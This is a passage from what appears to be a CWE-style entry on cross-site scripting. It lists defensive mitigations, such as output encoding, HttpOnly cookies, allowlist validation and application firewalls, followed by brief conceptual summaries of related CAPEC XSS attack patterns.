If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.